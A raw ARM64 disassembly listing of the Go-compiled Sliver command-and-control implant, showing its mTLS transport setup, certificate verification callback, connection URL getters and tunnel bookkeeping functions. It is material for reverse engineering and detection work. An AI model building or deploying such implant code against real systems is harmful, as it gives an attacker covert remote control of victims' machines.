003deba0adrp x27, 0x62f000
003deba4ldr x1, [x27+2976]
003deba8add x0, sp, 104
003debacbl runtime.stringtoslicebyte
003debb0str x0, [sp+448]
003debb4str x1, [sp+456]
003debb8str x2, [sp+464]
003debbcadd x20, sp, 328
003debc0adr x27, 16
003debc4stp x29, x27, [sp-24]
003debc8sub x29, sp, 24
003debccbl fn_87cf4
003debd0sub x29, sp, 8
003debd4str xzr, [sp+440]
003debd8add x27, sp, 888
003debdcstp xzr, xzr, [x27]
003debe0ldr x0, [sp+472]
003debe4ldr x1, [sp+480]
003debe8ldr x2, [sp+488]
003debecldr x3, [sp+448]
003debf0ldr x4, [sp+456]
003debf4ldr x5, [sp+464]
003debf8bl crypto/tls.X509KeyPair
003debfcldr x15, [sp+8]
003dec00ldr x16, [sp+16]
003dec04str x16, [sp+648]
003dec08str x0, [sp+656]
003dec0cstr x1, [sp+664]
003dec10str x2, [sp+672]
003dec14str x3, [sp+680]
003dec18str x4, [sp+688]
003dec1cstr x5, [sp+696]
003dec20str x6, [sp+704]
003dec24str x7, [sp+712]
003dec28str x8, [sp+720]
003dec2cstr x9, [sp+728]
003dec30str x10, [sp+736]
003dec34str x11, [sp+744]
003dec38str x12, [sp+752]
003dec3cstr x13, [sp+760]
003dec40str x14, [sp+768]
003dec44add x21, sp, 328
003dec48add x20, sp, 656
003dec4cadr x27, 16
003dec50stp x29, x27, [sp-24]
003dec54sub x29, sp, 24
003dec58bl fn_87ee8
003dec5csub x29, sp, 8
003dec60ldr x3, [sp+768]
003dec64str x3, [sp+440]
003dec68str x15, [sp+888]
003dec6cldr x3, [sp+648]
003dec70str x3, [sp+896]
003dec74add x21, sp, 512
003dec78add x20, sp, 328
003dec7cadr x27, 16
003dec80stp x29, x27, [sp-24]
003dec84sub x29, sp, 24
003dec88bl fn_87ee8
003dec8csub x29, sp, 8
003dec90ldr x3, [sp+440]
003dec94str x3, [sp+624]
003dec98ldr x3, [sp+888]
003dec9cldr x4, [sp+896]
003deca0str x3, [sp+496]
003deca4str x4, [sp+504]
003deca8add x21, sp, 200
003decacadd x20, sp, 512
003decb0adr x27, 16
003decb4stp x29, x27, [sp-24]
003decb8sub x29, sp, 24
003decbcbl fn_87ee8
003decc0sub x29, sp, 8
003decc4ldr x3, [sp+624]
003decc8str x3, [sp+312]
003decccldr x3, [sp+504]
003decd0ldr x4, [sp+496]
003decd4str x4, [sp+184]
003decd8str x3, [sp+192]
003decdccbnz x4, 0x3dece4
003dece0b 0x3deda4
003dece4
003dece4loc_3dece4:
003dece4add x27, sp, 872
003dece8stp xzr, xzr, [x27]
003dececadd x5, sp, 872
003decf0str x5, [sp+840]
003decf4ldr x5, [sp+184]
003decf8ldr x6, [sp+192]
003decfcstr x5, [sp+824]
003ded00str x6, [sp+832]
003ded04str x5, [sp+816]
003ded08ldr x5, [sp+816]
003ded0ccbnz x5, 0x3ded14
003ded10b 0x3ded24
003ded14
003ded14loc_3ded14:
003ded14ldr x5, [sp+816]
003ded18ldr x5, [x5+8]
003ded1cstr x5, [sp+816]
003ded20b 0x3ded28
003ded24
003ded24loc_3ded24:
003ded24b 0x3ded28
003ded28
003ded28loc_3ded28:
003ded28ldr x5, [sp+840]
003ded2cldrsb x27, [x5]
003ded30ldr x6, [sp+816]
003ded34ldr x7, [sp+832]
003ded38str x6, [x5]
003ded3cadrp x27, 0x66d000
003ded40ldr w6, [x27+3056]
003ded44cbz w6, 0x3ded4c
003ded48b 0x3ded50
003ded4c
003ded4cloc_3ded4c:
003ded4cb 0x3ded64
003ded50
003ded50loc_3ded50:
003ded50bl runtime.gcWriteBarrier2
003ded54str x7, [x25]
003ded58ldr x6, [x5+8]
003ded5cstr x6, [x25+8]
003ded60b 0x3ded64
003ded64
003ded64loc_3ded64:
003ded64str x7, [x5+8]
003ded68ldr x2, [sp+840]
003ded6cldrsb x27, [x2]
003ded70b 0x3ded74
003ded74
003ded74loc_3ded74:
003ded74str x2, [sp+848]
003ded78orr x4, xzr, 1
003ded7cstr x4, [sp+856]
003ded80str x4, [sp+864]
003ded84adrp x0, 0x2e2000
003ded88add x0, x0, 743
003ded8cmovz x1, 34
003ded90mov x3, x4
003ded94bl log.Printf
003ded98movz x0, 5
003ded9cbl os.Exit
003deda0b 0x3deda8
003deda4
003deda4loc_3deda4:
003deda4b 0x3deda8
003deda8
003deda8loc_3deda8:
003deda8bl crypto/x509.NewCertPool
003dedacstr x0, [sp+320]
003dedb0adrp x27, 0x62f000
003dedb4ldr x1, [x27+2960]
003dedb8adrp x27, 0x62f000
003dedbcldr x2, [x27+2968]
003dedc0add x0, sp, 72
003dedc4bl runtime.stringtoslicebyte
003dedc8str x0, [sp+448]
003dedccstr x1, [sp+456]
003dedd0str x2, [sp+464]
003dedd4ldr x3, [sp+320]
003dedd8mov x4, x0
003deddcmov x0, x3
003dede0mov x5, x1
003dede4mov x1, x4
003dede8mov x6, x2
003dedecmov x2, x5
003dedf0mov x3, x6
003dedf4bl crypto/x509.(*CertPool).AppendCertsFromPEM
003dedf8adrp x0, 0x2cd000
003dedfcadd x0, x0, 512
003dee00bl runtime.newobject
003dee04str x0, [sp+808]
003dee08adrp x27, 0x66d000
003dee0cldr w1, [x27+3056]
003dee10cbz w1, 0x3dee18
003dee14b 0x3dee1c
003dee18
003dee18loc_3dee18:
003dee18b 0x3dee38
003dee1c
003dee1cloc_3dee1c:
003dee1cstr x0, [sp+640]
003dee20mov x1, x0
003dee24adrp x0, 0x2cd000
003dee28add x0, x0, 512
003dee2cbl runtime.wbZero
003dee30ldr x0, [sp+640]
003dee34b 0x3dee38
003dee38
003dee38loc_3dee38:
003dee38mov x20, x0
003dee3cadr x27, 16
003dee40stp x29, x27, [sp-24]
003dee44sub x29, sp, 24
003dee48bl fn_87ca0
003dee4csub x29, sp, 8
003dee50str xzr, [x0+448]
003dee54adrp x0, 0x225000
003dee58add x0, x0, 3648
003dee5cbl runtime.newobject
003dee60str x0, [sp+776]
003dee64adrp x27, 0x66d000
003dee68ldr w1, [x27+3056]
003dee6ccbz w1, 0x3dee74
003dee70b 0x3dee78
003dee74
003dee74loc_3dee74:
003dee74b 0x3dee98
003dee78
003dee78loc_3dee78:
003dee78str x0, [sp+632]
003dee7cmov x1, x0
003dee80add x2, sp, 200
003dee84adrp x0, 0x2a0000
003dee88add x0, x0, 2592
003dee8cbl runtime.wbMove
003dee90ldr x0, [sp+632]
003dee94b 0x3dee98
003dee98
003dee98loc_3dee98:
003dee98mov x21, x0
003dee9cadd x20, sp, 200
003deea0adr x27, 16
003deea4stp x29, x27, [sp-24]
003deea8sub x29, sp, 24
003deeacbl fn_87ee8
003deeb0sub x29, sp, 8
003deeb4ldr x1, [sp+312]
003deeb8str x1, [x0+112]
003deebcldr x1, [sp+776]
003deec0ldrsb x27, [x1]
003deec4b 0x3deec8
003deec8
003deec8loc_3deec8:
003deec8str x1, [sp+784]
003deeccorr x2, xzr, 1
003deed0str x2, [sp+792]
003deed4str x2, [sp+800]
003deed8ldr x3, [sp+808]
003deedcldrsb x27, [x3]
003deee0str x2, [x3+32]
003deee4str x2, [x3+40]
003deee8adrp x27, 0x66d000
003deeecldr w2, [x27+3056]
003deef0cbz w2, 0x3deef8
003deef4b 0x3deefc
003deef8
003deef8loc_3deef8:
003deef8b 0x3def10
003deefc
003deefcloc_3deefc:
003deefcbl runtime.gcWriteBarrier2
003def00str x1, [x25]
003def04ldr x2, [x3+24]
003def08str x2, [x25+8]
003def0cb 0x3def10
003def10
003def10loc_3def10:
003def10str x1, [x3+24]
003def14ldr x1, [sp+808]
003def18ldrsb x27, [x1]
003def1cldr x2, [sp+320]
003def20adrp x27, 0x66d000
003def24ldr w3, [x27+3056]
003def28cbz w3, 0x3def30
003def2cb 0x3def34
003def30
003def30loc_3def30:
003def30b 0x3def48
003def34
003def34loc_3def34:
003def34bl runtime.gcWriteBarrier2
003def38str x2, [x25]
003def3cldr x3, [x1+96]
003def40str x3, [x25+8]
003def44b 0x3def48
003def48
003def48loc_3def48:
003def48str x2, [x1+96]
003def4cldr x1, [sp+808]
003def50ldrsb x27, [x1]
003def54orr x2, xzr, 1
003def58strb w2, [x1+160]
003def5cldr x1, [sp+808]
003def60ldrsb x27, [x1]
003def64adrp x27, 0x66d000
003def68ldr w2, [x27+3056]
003def6ccbz w2, 0x3def74
003def70b 0x3def78
003def74
003def74loc_3def74:
003def74b 0x3def88
003def78
003def78loc_3def78:
003def78ldr x2, [x1+80]
003def7cbl runtime.gcWriteBarrier1
003def80str x2, [x25]
003def84b 0x3def88
003def88
003def88loc_3def88:
003def88adrp x2, 0x2fb000
003def8cadd x2, x2, 320
003def90str x2, [x1+80]
003def94ldr x1, [sp+808]
003def98str x1, [sp+176]
003def9cadrp x27, 0x642000
003defa0ldr x2, [x27+3584]
003defa4cbnz x2, 0x3defac
003defa8b 0x3deff4
003defac
003defacloc_3defac:
003defacldrsb x27, [x1]
003defb0adrp x27, 0x642000
003defb4ldr x2, [x27+3584]
003defb8adrp x3, 0x335000
003defbcadd x3, x3, 2168
003defc0str x3, [x1+312]
003defc4adrp x27, 0x66d000
003defc8ldr w3, [x27+3056]
003defcccbz w3, 0x3defd4
003defd0b 0x3defd8
003defd4
003defd4loc_3defd4:
003defd4b 0x3defec
003defd8
003defd8loc_3defd8:
003defd8bl runtime.gcWriteBarrier2
003defdcstr x2, [x25]
003defe0ldr x3, [x1+320]
003defe4str x3, [x25+8]
003defe8b 0x3defec
003defec
003defecloc_3defec:
003defecstr x2, [x1+320]
003deff0b 0x3deff8
003deff4
003deff4loc_3deff4:
003deff4b 0x3deff8
003deff8
003deff8loc_3deff8:
003deff8ldr x0, [sp+176]
003deffcstr x0, [sp+168]
003df000ldp x29, x30, [sp-8]
003df004add sp, sp, 912
003df008ret x30
003df00c
003df00cloc_3df00c:
003df00cmov x3, x30
003df010bl runtime.morestack_noctxt.abi0
003df014b 0x3deb50
003df018udf 0
003df01cudf 0
003deb50

003df020
003df020github.com/bishopfox/sliver/implant/sliver/transports/mtls.getTLSConfig.func1: ; void github.com/bishopfox/sliver/implant/sliver/transports/mtls.getTLSConfig.func1(struct [][]uint8 rawCerts, struct [][]*crypto/x509.Certificate verifiedChains)
003df020ldr x16, [x28+16]
003df024subs xzr, sp, x16
003df028b.ls 0x3df09c
003df02cstr x30, [sp-112]!
003df030stur x29, [sp-8]
003df034sub x29, sp, 8
003df038str x0, [sp+120]
003df03cstr x1, [sp+128]
003df040str x2, [sp+136]
003df044str x3, [sp+144]
003df048str x4, [sp+152]
003df04cstr x5, [sp+160]
003df050stp xzr, xzr, [sp+72]
003df054adrp x27, 0x62e000
003df058ldr x0, [x27+2960]
003df05cldr x2, [sp+120]
003df060ldr x5, [sp+144]
003df064adrp x27, 0x62e000
003df068ldr x1, [x27+2968]
003df06cldr x3, [sp+128]
003df070ldr x6, [sp+152]
003df074ldr x4, [sp+136]
003df078ldr x7, [sp+160]
003df07cbl github.com/bishopfox/sliver/implant/sliver/cryptography.RootOnlyVerifyCertificate
003df080str x0, [sp+88]
003df084str x1, [sp+96]
003df088str x0, [sp+72]
003df08cstr x1, [sp+80]
003df090ldur x29, [sp-8]
003df094ldr x30, [sp], 112
003df098ret x30
003df09c
003df09cloc_3df09c:
003df09cstp x0, x1, [sp+8]
003df0a0stp x2, x3, [sp+24]
003df0a4stp x4, x5, [sp+40]
003df0a8mov x3, x30
003df0acbl runtime.morestack_noctxt.abi0
003df0b0ldp x0, x1, [sp+8]
003df0b4ldp x2, x3, [sp+24]
003df0b8ldp x4, x5, [sp+40]
003df0bcb 0x3df020
003df020

003df0c0
003df0c0github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).URL: ; void github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).URL(github.com/bishopfox/sliver/implant/sliver/transports.Connection * c)
003df0c0ldr x16, [x28+16]
003df0c4subs xzr, sp, x16
003df0c8b.ls 0x3df13c
003df0ccstr x30, [sp-64]!
003df0d0stur x29, [sp-8]
003df0d4sub x29, sp, 8
003df0d8str x0, [sp+72]
003df0dcstp xzr, xzr, [sp+16]
003df0e0ldr x2, [sp+72]
003df0e4ldrsb x27, [x2]
003df0e8ldr x2, [x2+64]
003df0eccbnz x2, 0x3df0f4
003df0f0b 0x3df124
003df0f4
003df0f4loc_3df0f4:
003df0f4ldr x1, [sp+72]
003df0f8ldrsb x27, [x1]
003df0fcldr x0, [x1+64]
003df100str x0, [sp+32]
003df104bl net/url.(*URL).String
003df108str x0, [sp+40]
003df10cstr x1, [sp+48]
003df110str x0, [sp+16]
003df114str x1, [sp+24]
003df118ldur x29, [sp-8]
003df11cldr x30, [sp], 64
003df120ret x30
003df124
003df124loc_3df124:
003df124stp xzr, xzr, [sp+16]
003df128mov x0, xzr
003df12cmov x1, xzr
003df130ldur x29, [sp-8]
003df134ldr x30, [sp], 64
003df138ret x30
003df13c
003df13cloc_3df13c:
003df13cstr x0, [sp+8]
003df140mov x3, x30
003df144bl runtime.morestack_noctxt.abi0
003df148ldr x0, [sp+8]
003df14cb 0x3df0c0
003df0c0

003df150
003df150github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).ProxyURL: ; void github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).ProxyURL(github.com/bishopfox/sliver/implant/sliver/transports.Connection * c)
003df150ldr x16, [x28+16]
003df154subs xzr, sp, x16
003df158b.ls 0x3df1cc
003df15cstr x30, [sp-64]!
003df160stur x29, [sp-8]
003df164sub x29, sp, 8
003df168str x0, [sp+72]
003df16cstp xzr, xzr, [sp+16]
003df170ldr x2, [sp+72]
003df174ldrsb x27, [x2]
003df178ldr x2, [x2+72]
003df17ccbnz x2, 0x3df184
003df180b 0x3df1b4
003df184
003df184loc_3df184:
003df184ldr x1, [sp+72]
003df188ldrsb x27, [x1]
003df18cldr x0, [x1+72]
003df190str x0, [sp+32]
003df194bl net/url.(*URL).String
003df198str x0, [sp+40]
003df19cstr x1, [sp+48]
003df1a0str x0, [sp+16]
003df1a4str x1, [sp+24]
003df1a8ldur x29, [sp-8]
003df1acldr x30, [sp], 64
003df1b0ret x30
003df1b4
003df1b4loc_3df1b4:
003df1b4stp xzr, xzr, [sp+16]
003df1b8mov x0, xzr
003df1bcmov x1, xzr
003df1c0ldur x29, [sp-8]
003df1c4ldr x30, [sp], 64
003df1c8ret x30
003df1cc
003df1ccloc_3df1cc:
003df1ccstr x0, [sp+8]
003df1d0mov x3, x30
003df1d4bl runtime.morestack_noctxt.abi0
003df1d8ldr x0, [sp+8]
003df1dcb 0x3df150
003df150

003df1e0
003df1e0github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).Cleanup: ; void github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).Cleanup(github.com/bishopfox/sliver/implant/sliver/transports.Connection * c)
003df1e0ldr x16, [x28+16]
003df1e4subs xzr, sp, x16
003df1e8b.ls 0x3df270
003df1ecstr x30, [sp-64]!
003df1f0stur x29, [sp-8]
003df1f4sub x29, sp, 8
003df1f8str x0, [sp+72]
003df1fcstp xzr, xzr, [sp+40]
003df200add x2, sp, 40
003df204str x2, [sp+32]
003df208ldrsb x27, [x2]
003df20cadrp x3, 0
003df210add x3, x3, 656
003df214str x3, [x2]
003df218ldrsb x27, [x2]
003df21cldr x3, [sp+72]
003df220adrp x27, 0x66c000
003df224ldr w4, [x27+3056]
003df228cbz w4, 0x3df230
003df22cb 0x3df234
003df230
003df230loc_3df230:
003df230b 0x3df248
003df234
003df234loc_3df234:
003df234bl runtime.gcWriteBarrier2
003df238str x3, [x25]
003df23cldr x4, [x2+8]
003df240str x4, [x25+8]
003df244b 0x3df248
003df248
003df248loc_3df248:
003df248str x3, [x2+8]
003df24cldr x2, [sp+72]
003df250ldrsb x27, [x2]
003df254ldr x0, [x2+40]
003df258str x0, [sp+24]
003df25cldr x1, [sp+32]
003df260bl sync.(*Once).Do
003df264ldur x29, [sp-8]
003df268ldr x30, [sp], 64
003df26cret x30
003df270
003df270loc_3df270:
003df270str x0, [sp+8]
003df274mov x3, x30
003df278bl runtime.morestack_noctxt.abi0
003df27cldr x0, [sp+8]
003df280b 0x3df1e0
003df284udf 0
003df288udf 0
003df28cudf 0
003df1e0

003df290
003df290github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).Cleanup.func1: ; void github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).Cleanup.func1(void)
003df290ldr x16, [x28+16]
003df294subs xzr, sp, x16
003df298b.ls 0x3df2e0
003df29cstr x30, [sp-32]!
003df2a0stur x29, [sp-8]
003df2a4sub x29, sp, 8
003df2a8ldr x0, [x26+8]
003df2acstr x0, [sp+16]
003df2b0ldrsb x27, [x0]
003df2b4ldr x26, [x0+32]
003df2b8ldr x0, [x26]
003df2bcblr x0
003df2c0ldr x0, [sp+16]
003df2c4ldrsb x27, [x0]
003df2c8strb wzr, [x0+16]
003df2ccldr x0, [sp+16]
003df2d0bl github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).removeAndCloseAllTunnels
003df2d4ldur x29, [sp-8]
003df2d8ldr x30, [sp], 32
003df2dcret x30
003df2e0
003df2e0loc_3df2e0:
003df2e0mov x3, x30
003df2e4bl runtime.morestack.abi0
003df2e8b 0x3df290
003df2ecudf 0
003df290

003df2f0
003df2f0github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).Tunnel: ; void github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).Tunnel(github.com/bishopfox/sliver/implant/sliver/transports.Connection * c, uint64 ID)
003df2f0ldr x16, [x28+16]
003df2f4sub x17, sp, 16
003df2f8subs xzr, x17, x16
003df2fcb.ls 0x3df3f4
003df300str x30, [sp-144]!
003df304stur x29, [sp-8]
003df308sub x29, sp, 8
003df30cstr x0, [sp+152]
003df310str x1, [sp+160]
003df314str xzr, [sp+80]
003df318ldr x1, [sp+152]
003df31cldrsb x27, [x1]
003df320ldr x0, [x1+56]
003df324str x0, [sp+120]
003df328bl sync.(*RWMutex).RLock
003df32cldr x1, [sp+152]
003df330ldrsb x27, [x1]
003df334ldr x1, [x1+56]
003df338str x1, [sp+128]
003df33cstp xzr, xzr, [sp+96]
003df340add x1, sp, 96
003df344str x1, [sp+112]
003df348ldrsb x27, [x1]
003df34cadrp x2, 0
003df350add x2, x2, 1040
003df354str x2, [x1]
003df358ldrsb x27, [x1]
003df35cldr x2, [sp+128]
003df360adrp x27, 0x66c000
003df364ldr w3, [x27+3056]
003df368cbz w3, 0x3df370
003df36cb 0x3df374
003df370
003df370loc_3df370:
003df370b 0x3df388
003df374
003df374loc_3df374:
003df374bl runtime.gcWriteBarrier2
003df378str x2, [x25]
003df37cldr x3, [x1+8]
003df380str x3, [x25+8]
003df384b 0x3df388
003df388
003df388loc_3df388:
003df388str x2, [x1+8]
003df38cstr x1, [sp+56]
003df390add x0, sp, 32
003df394bl runtime.deferprocStack
003df398subs xzr, x0, 0
003df39cb.ne 0x3df3e0
003df3a0b 0x3df3a4
003df3a4
003df3a4loc_3df3a4:
003df3a4ldr x3, [sp+152]
003df3a8ldrsb x27, [x3]
003df3acldr x1, [x3+48]
003df3b0str x1, [sp+88]
003df3b4ldr x2, [sp+160]
003df3b8adrp x0, 0x244000
003df3bcadd x0, x0, 3936
003df3c0bl runtime.mapaccess1_fast64
003df3c4ldr x3, [x0]
003df3c8str x3, [sp+80]
003df3ccbl runtime.deferreturn
003df3d0ldr x0, [sp+80]
003df3d4ldur x29, [sp-8]
003df3d8ldr x30, [sp], 144
003df3dcret x30
003df3e0
003df3e0loc_3df3e0:
003df3e0bl runtime.deferreturn
003df3e4ldr x0, [sp+80]
003df3e8ldur x29, [sp-8]
003df3ecldr x30, [sp], 144
003df3f0ret x30
003df3f4
003df3f4loc_3df3f4:
003df3f4stp x0, x1, [sp+8]
003df3f8mov x3, x30
003df3fcbl runtime.morestack_noctxt.abi0
003df400ldp x0, x1, [sp+8]
003df404b 0x3df2f0
003df408udf 0
003df40cudf 0
003df2f0

003df410
003df410github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).Tunnel.deferwrap1: ; void github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).Tunnel.deferwrap1(void)
003df410ldr x16, [x28+16]
003df414subs xzr, sp, x16
003df418b.ls 0x3df448
003df41cstr x30, [sp-32]!
003df420stur x29, [sp-8]
003df424sub x29, sp, 8
003df428ldr x16, [x28+32]
003df42ccbnz x16, 0x3df454
003df430
003df430loc_3df430:
003df430ldr x0, [x26+8]
003df434str x0, [sp+16]
003df438bl sync.(*RWMutex).RUnlock
003df43cldur x29, [sp-8]
003df440ldr x30, [sp], 32
003df444ret x30
003df448
003df448loc_3df448:
003df448mov x3, x30
003df44cbl runtime.morestack.abi0
003df450b 0x3df410
003df454
003df454loc_3df454:
003df454ldr x17, [x16]
003df458add x20, sp, 40
003df45csubs xzr, x20, x17
003df460b.ne 0x3df430
003df464add x20, sp, 8
003df468str x20, [x16]
003df46cb 0x3df430
003df410

003df470
003df470github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).AddTunnel: ; void github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).AddTunnel(github.com/bishopfox/sliver/implant/sliver/transports.Connection * c, github.com/bishopfox/sliver/implant/sliver/transports.Tunnel * tun)
003df470ldr x16, [x28+16]
003df474sub x17, sp, 32
003df478subs xzr, x17, x16
003df47cb.ls 0x3df5a0
003df480str x30, [sp-160]!
003df484stur x29, [sp-8]
003df488sub x29, sp, 8
003df48cstr x0, [sp+168]
003df490str x1, [sp+176]
003df494ldrsb x27, [x0]
003df498ldr x0, [x0+56]
003df49cstr x0, [sp+136]
003df4a0bl sync.(*RWMutex).Lock
003df4a4ldr x1, [sp+168]
003df4a8ldrsb x27, [x1]
003df4acldr x1, [x1+56]
003df4b0str x1, [sp+144]
003df4b4stp xzr, xzr, [sp+112]
003df4b8add x1, sp, 112
003df4bcstr x1, [sp+128]
003df4c0ldrsb x27, [x1]
003df4c4adrp x2, 0
003df4c8add x2, x2, 1472
003df4ccstr x2, [x1]
003df4d0ldrsb x27, [x1]
003df4d4ldr x2, [sp+144]
003df4d8adrp x27, 0x66c000
003df4dcldr w3, [x27+3056]
003df4e0cbz w3, 0x3df4e8
003df4e4b 0x3df4ec
003df4e8
003df4e8loc_3df4e8:
003df4e8b 0x3df500
003df4ec
003df4ecloc_3df4ec:
003df4ecbl runtime.gcWriteBarrier2
003df4f0str x2, [x25]
003df4f4ldr x3, [x1+8]
003df4f8str x3, [x25+8]
003df4fcb 0x3df500
003df500
003df500loc_3df500:
003df500str x2, [x1+8]
003df504str x1, [sp+64]
003df508add x0, sp, 40
003df50cbl runtime.deferprocStack
003df510subs xzr, x0, 0
003df514b.ne 0x3df590
003df518b 0x3df51c
003df51c
003df51cloc_3df51c:
003df51cldr x3, [sp+168]
003df520ldrsb x27, [x3]
003df524ldr x1, [x3+48]
003df528str x1, [sp+104]
003df52cldr x3, [sp+176]
003df530ldrsb x27, [x3]
003df534ldr x2, [x3]
003df538str x2, [sp+88]
003df53cadrp x0, 0x244000
003df540add x0, x0, 3936
003df544bl runtime.mapassign_fast64
003df548str x0, [sp+96]
003df54cldrsb x27, [x0]
003df550ldr x3, [sp+176]
003df554adrp x27, 0x66c000
003df558ldr w4, [x27+3056]
003df55ccbz w4, 0x3df564
003df560b 0x3df568
003df564
003df564loc_3df564:
003df564b 0x3df57c
003df568
003df568loc_3df568:
003df568bl runtime.gcWriteBarrier2
003df56cstr x3, [x25]
003df570ldr x1, [x0]
003df574str x1, [x25+8]
003df578b 0x3df57c
003df57c
003df57cloc_3df57c:
003df57cstr x3, [x0]
003df580bl runtime.deferreturn
003df584ldur x29, [sp-8]
003df588ldr x30, [sp], 160
003df58cret x30
003df590
003df590loc_3df590:
003df590bl runtime.deferreturn
003df594ldur x29, [sp-8]
003df598ldr x30, [sp], 160
003df59cret x30
003df5a0
003df5a0loc_3df5a0:
003df5a0stp x0, x1, [sp+8]
003df5a4mov x3, x30
003df5a8bl runtime.morestack_noctxt.abi0
003df5acldp x0, x1, [sp+8]
003df5b0b 0x3df470
003df5b4udf 0
003df5b8udf 0
003df5bcudf 0
003df470

003df5c0
003df5c0github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).AddTunnel.deferwrap1: ; void github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).AddTunnel.deferwrap1(void)
003df5c0ldr x16, [x28+16]
003df5c4subs xzr, sp, x16
003df5c8b.ls 0x3df5f8
003df5ccstr x30, [sp-32]!
003df5d0stur x29, [sp-8]
003df5d4sub x29, sp, 8
003df5d8ldr x16, [x28+32]
003df5dccbnz x16, 0x3df604
003df5e0
003df5e0loc_3df5e0:
003df5e0ldr x0, [x26+8]
003df5e4str x0, [sp+16]
003df5e8bl sync.(*RWMutex).Unlock
003df5ecldur x29, [sp-8]
003df5f0ldr x30, [sp], 32
003df5f4ret x30
003df5f8
003df5f8loc_3df5f8:
003df5f8mov x3, x30
003df5fcbl runtime.morestack.abi0
003df600b 0x3df5c0
003df604
003df604loc_3df604:
003df604ldr x17, [x16]
003df608add x20, sp, 40
003df60csubs xzr, x20, x17
003df610b.ne 0x3df5e0
003df614add x20, sp, 8
003df618str x20, [x16]
003df61cb 0x3df5e0
003df5c0

003df620
003df620github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).RemoveTunnel: ; void github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).RemoveTunnel(github.com/bishopfox/sliver/implant/sliver/transports.Connection * c, uint64 ID)
003df620ldr x16, [x28+16]
003df624sub x17, sp, 16
003df628subs xzr, x17, x16
003df62cb.ls 0x3df70c
003df630str x30, [sp-144]!
003df634stur x29, [sp-8]
003df638sub x29, sp, 8
003df63cstr x0, [sp+152]
003df640str x1, [sp+160]
003df644ldrsb x27, [x0]
003df648ldr x0, [x0+56]
003df64cstr x0, [sp+120]
003df650bl sync.(*RWMutex).Lock
003df654ldr x1, [sp+152]
003df658ldrsb x27, [x1]
003df65cldr x1, [x1+56]
003df660str x1, [sp+128]
003df664stp xzr, xzr, [sp+96]
003df668add x1, sp, 96
003df66cstr x1, [sp+112]
003df670ldrsb x27, [x1]
003df674adrp x2, 0
003df678add x2, x2, 1824
003df67cstr x2, [x1]
003df680ldrsb x27, [x1]
003df684ldr x2, [sp+128]
003df688adrp x27, 0x66c000
003df68cldr w3, [x27+3056]
003df690cbz w3, 0x3df698
003df694b 0x3df69c
003df698
003df698loc_3df698:
003df698b 0x3df6b0
003df69c
003df69cloc_3df69c:
003df69cbl runtime.gcWriteBarrier2
003df6a0str x2, [x25]
003df6a4ldr x3, [x1+8]
003df6a8str x3, [x25+8]
003df6acb 0x3df6b0
003df6b0
003df6b0loc_3df6b0:
003df6b0str x2, [x1+8]
003df6b4str x1, [sp+64]
003df6b8add x0, sp, 40
003df6bcbl runtime.deferprocStack
003df6c0subs xzr, x0, 0
003df6c4b.ne 0x3df6fc
003df6c8b 0x3df6cc
003df6cc
003df6ccloc_3df6cc:
003df6ccldr x3, [sp+152]
003df6d0ldrsb x27, [x3]
003df6d4ldr x1, [x3+48]
003df6d8str x1, [sp+88]
003df6dcldr x2, [sp+160]
003df6e0adrp x0, 0x244000
003df6e4add x0, x0, 3936
003df6e8bl runtime.mapdelete_fast64
003df6ecbl runtime.deferreturn
003df6f0ldur x29, [sp-8]
003df6f4ldr x30, [sp], 144
003df6f8ret x30
003df6fc
003df6fcloc_3df6fc:
003df6fcbl runtime.deferreturn
003df700ldur x29, [sp-8]
003df704ldr x30, [sp], 144
003df708ret x30
003df70c
003df70cloc_3df70c:
003df70cstp x0, x1, [sp+8]
003df710mov x3, x30
003df714bl runtime.morestack_noctxt.abi0
003df718ldp x0, x1, [sp+8]
003df71cb 0x3df620
003df620

003df720
003df720github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).RemoveTunnel.deferwrap1: ; void github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).RemoveTunnel.deferwrap1(void)
003df720ldr x16, [x28+16]
003df724subs xzr, sp, x16
003df728b.ls 0x3df758
003df72cstr x30, [sp-32]!
003df730stur x29, [sp-8]
003df734sub x29, sp, 8
003df738ldr x16, [x28+32]
003df73ccbnz x16, 0x3df764
003df740
003df740loc_3df740:
003df740ldr x0, [x26+8]
003df744str x0, [sp+16]
003df748bl sync.(*RWMutex).Unlock
003df74cldur x29, [sp-8]
003df750ldr x30, [sp], 32
003df754ret x30
003df758
003df758loc_3df758:
003df758mov x3, x30
003df75cbl runtime.morestack.abi0
003df760b 0x3df720
003df764
003df764loc_3df764:
003df764ldr x17, [x16]
003df768add x20, sp, 40
003df76csubs xzr, x20, x17
003df770b.ne 0x3df740
003df774add x20, sp, 8
003df778str x20, [x16]
003df77cb 0x3df740
003df720

003df780
003df780github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).removeAndCloseAllTunnels: ; void github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).removeAndCloseAllTunnels(github.com/bishopfox/sliver/implant/sliver/transports.Connection * c)
003df780ldr x16, [x28+16]
003df784sub x17, sp, 128
003df788subs xzr, x17, x16
003df78cb.ls 0x3df8ec
003df790sub x20, sp, 256
003df794stp x29, x30, [x20-8]
003df798add sp, x20, 0
003df79csub x29, sp, 8
003df7a0str x0, [sp+264]
003df7a4ldrsb x27, [x0]
003df7a8ldr x0, [x0+56]
003df7acstr x0, [sp+128]
003df7b0bl sync.(*RWMutex).Lock
003df7b4ldr x1, [sp+264]
003df7b8ldrsb x27, [x1]
003df7bcldr x1, [x1+56]
003df7c0str x1, [sp+240]
003df7c4stp xzr, xzr, [sp+104]
003df7c8add x1, sp, 104
003df7ccstr x1, [sp+120]
003df7d0ldrsb x27, [x1]
003df7d4adrp x2, 0
